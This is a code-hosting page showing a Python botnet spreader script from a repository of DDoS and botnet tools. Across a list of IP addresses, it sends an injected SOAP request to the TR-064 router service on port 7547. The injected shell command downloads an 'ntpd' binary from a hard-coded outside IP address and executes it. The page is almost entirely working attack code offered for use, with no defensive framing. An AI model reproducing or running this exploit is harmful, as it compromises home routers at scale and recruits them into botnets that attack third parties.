Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/ROACH/roach.py
5038 views
1
#!/usr/bin/python
2
3
import threading, sys, time, random, socket, re, os
4
5
if len(sys.argv) < 2:
6
print "Usage: python "+sys.argv[0]+" <list>"
7
sys.exit()
8
9
ips = open(sys.argv[1], "r").readlines()
10
cmd = """POST /UD/act?1 HTTP/1.1\r\n
11
Host: 127.0.0.1:7547\r\n
12
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n
13
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\n
14
Content-Type: text/xml\r\n
15
Content-Length: length of string after return/newline\r\n
16
<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAPENV:Body> <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\"> <NewNTPServer1>`cd /tmp; wget http://195.2.252.159/ntpd; chmod 777 ntpd; ./ntpd`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAPENV:Body></SOAP-ENV:Envelope>\r\n\r\n"""
17
count = 0
18
def readUntil(tn, string, timeout=15):
19
buf = ''
20
start_time = time.time()
21
while time.time() - start_time < timeout:
22
buf += tn.recv(1024)
23
time.sleep(0.01)
24
if string in buf: return buf
25
raise Exception('TIMEOUT!')
26
27
class hackify(threading.Thread):
28
def __init__ (self, ip):
29
threading.Thread.__init__(self)
30
self.ip = str(ip).rstrip('\n')
31
def run(self):
32
try:
33
tn = socket.socket()
34
tn.settimeout(8)
35
tn.connect((self.ip,7547))
36
except Exception:
37
tn.close()
38
39
try:
40
mp = ''
41
mp += tn.recv(1024)
42
if "" in mp:
43
tn.send(cmd + "\n"); print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip); time.sleep(10); tn.close()
44
except Exception:
45
print "\033[34m[%s] TIMEOUT"%(self.ip)
46
tn.close()
47
48
print "Total IPs: %s\n"%(len(ips))
49
for ip in ips:
50
try:
51
count += 1
52
t = hackify(ip)
53
t.start()
54
time.sleep(0.01)
55
except:
56
pass
57